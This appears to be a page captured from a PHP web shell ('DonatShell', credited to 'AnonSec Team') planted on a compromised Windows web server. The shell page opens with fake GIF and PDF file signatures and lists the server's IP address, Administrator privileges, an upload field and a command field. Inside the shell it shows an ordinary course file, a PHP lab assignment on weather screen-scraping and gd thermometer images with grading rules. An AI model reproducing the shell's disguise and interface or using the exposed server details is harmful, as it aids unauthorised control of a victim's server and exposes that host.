GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/JimMartinson/_Archive/MMDT1146/Labs/Lab06/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/JimMartinson/_Archive/MMDT1146/Labs/Lab06/Lab06.phpinc
<?
// JimMartinson/MMDT1146/Labs/Lab04.phpinc

include('Course/courseInfo.phpinc');
include('../../classInfo.phpinc');

$evaluationNumber = 6;
$evaluationType = "Lab";
$evaluationTitle = "Screen to image";
if ( !isset($assignmentSuffix) ) $assignmentSuffix = '';
$evaluationName = $evaluationType.twoDigit($evaluationNumber).$assignmentSuffix;
if ( strlen($evaluationNumber) == 1 ) {
	$evaluationName = $evaluationType."0".$evaluationNumber;
	$evaluationNamePrevious = $evaluationType."0".($evaluationNumber-1);
} else {
	$evaluationName = $evaluationType.$evaluationNumber;
	$evaluationNamePrevious = $evaluationType.($evaluationNumber-1);
}
 
$f_uId = formValue('uId'); if ( $f_uId ) $userId = $f_uId;
if ( !isset($userId) ) $userId = $_SESSION['userId'];
$title = $evaluationName.": ".$evaluationTitle;
$headTitle = '_CST_ - '.$courseNumber.' '.$courseTitle.' - '.$title;
$pageTitle = $courseNumber.' '.$courseTitle.'<br>'.$title;
$pageMenu = 'Course/courseMenu.phpinc';
$smallTitle = true;
$js='openCenteredWindow';
$smallTitle = true;
include('common/pageHeader.phpinc');
$sectionTitle = $title;
include('common/sectionHeader.phpinc');
include('Gradebook/EvaluationSubmission_BEGIN.phpinc');
$uploadFilename = $evaluationName.'.zip';
?>
<?=$f_message?>
<a name="Lab"></a>
<fieldset><legend>Description</legend>
Demonstrate the use of screen-scraping and the PHP gd library of functions.<br>
<?=$gradeNote?>
</fieldset>
<?
$ShowSpanCountBefore = false;
#$ShowSpanCountBefore = true;
?>
<style type="text/css">
b { white-space:nowrap; }
<? if ( !$ShowSpanCountBefore ) { ?>//<? } ?> span.count:before { content:counters(item, "-"); color:#FF0000; }
entry, kbd, tt, samp, var { padding:0; white-space:nowrap; }
comment { color:#0c0; background-color:#ffc; }				/* comment */
samp { color:#c00; }																	/* attibute */
kbd { background-color:#ffc; color:#609; }						/* attibute value */
tt { color:#00c; }																		/* tag */
var { color:#00f; font-style:normal; }								/* variable */
entry { background-color:#ffc; color:#f00; }					/* PHP start stop */
table.gb { border:1px solid silver; border-collapse:collapse; }

</style>
<?
/** /
tt = tag
samp = attribute
kbd = attribute value
/**/
?>
<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> assignment</legend>
<ol id="main" class="count">
	<li>Create a <b><?=$evaluationName?></b> directory in the <b>Data_WWW/MMDT1146</b> directory and place all work for this lab in that folder.</li>
	<li>Create a PHP page named <b><?=$evaluationName?>.php</b> containing the following:
		<ol>
			<li>Create a form that asks for a zip code.</li>
			<li>Use the zip code to get the location (city, state), temp, and at least one other piece of data from a weather site.</li>
			<li>Obtain an image of a thermometer. <b>Do not use the image used in class examples.</b></li>
			<li>Color in the thermometer using the gd library so it shows the correct temperature.
				<br>Vary the fill in color based on temp:
				<table class="gb">
					<tr><th>Temp range</th><th>Color</th></tr>
					<tr><td><= 32&deg;F</td><td>blue</td></tr>
					<tr><td>> 32&deg;F - 50&deg;F</td><td>aqua</td></tr>
					<tr><td>> 50&deg;F - 75&deg;F</td><td>green</td></tr>
					<tr><td>> 75&deg;F - 95&deg;F</td><td>orange</td></tr>
					<tr><td>> 95&deg;F</td><td>red</td></tr>
				</table>
			</li>
			<li>Depending on the zip code entered display:
				<table class="gb">
					<tr><th>Zip status</th><th>Display</th></tr>
					<tr><td>no zip entered</td><td>nothing</td></tr>
					<tr><td>Valid zip</td><td>Display info from 2.2 above and color and display the thermometer.</td></tr>
					<tr><td>Invalid zip</td><td>Error stating that the zip is invalid.</td></tr>
				</table>
			</li>
		</ol>
	</li>
	<li>Do extensive testing to ensure your pages perform as directed.</li>
  <li>Turn in your assignment:
		<ol type="a">
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload"></li>
			<li>Then <input type="submit" name="f_subtask" value="Submit"> for grading.</li>
		</ol>
  </li>
</ol>
<?=$gradeNote?>
</fieldset>
<? /** / ?>
<br><code>code</code> <codechange>codechange</codechange> <codeold>codeold</codeold> <comment>comment</comment> <entry>entry</entry> <kbd>kbd</kbd> <samp>samp</samp> <tt>tt</tt> <ttchange>ttchange</ttchange> <var>var</var>
<? /**/
include('Gradebook/EvaluationSubmission_END.phpinc');
$deductionPoints = $evaluationInfo['evaluationPoints'] / 10; if ( $deductionPoints == 1 ) { $deductionPoints = '1 point'; } else { $deductionPoints = $deductionPoints.' points'; }
?>
<fieldset><legend>Grading Criteria</legend>
Demonstrated assignment effectively: <b><?=$evaluationInfo['evaluationPoints']?></b> points.
<br>
There are some things I expect. If they are incorrect you will lose the following:
<br>
Work submitted incorrectly: -<?=$deductionPoints?>.
<br>
Work submitted late: -<?=$deductionPoints?> per week.
<br>
Re-submission of work for grading: -<?=$deductionPoints?> per submission.
<br>
I reserve the right <b>not</b> to apply the deduction points at my absolute discretion.
</fieldset>
<fieldset><legend>NOTES:</legend>
<b>We will be using the following in every html page throughout this class:</b>
<ul>
	<li>The HTML 5 DOCTYPE: <tt>&lt;!DOCTYPE html&gt;</tt>.</li>
	<li>An html tag with <samp>lang</samp> attribute: <tt>&lt;html <samp>lang="<kbd>en</kbd>"</samp>&gt;</tt>.</li>
	<li>A <tt>title</tt> tag.</li>
	<li>The meta character set tag <tt>&lt;meta <samp>charset="<kbd>utf-8</kbd>"</samp>&gt;</tt>.</li>
	<li>An <tt>h1</tt> heading tag with the same content as in the <tt>title</tt> tag.</li>
</ul>
</fieldset>
<?
include('../../ReferencesResources.phpinc');
include('common/sectionFooter.phpinc');
?>

Anon7 - 2022
AnonSec Team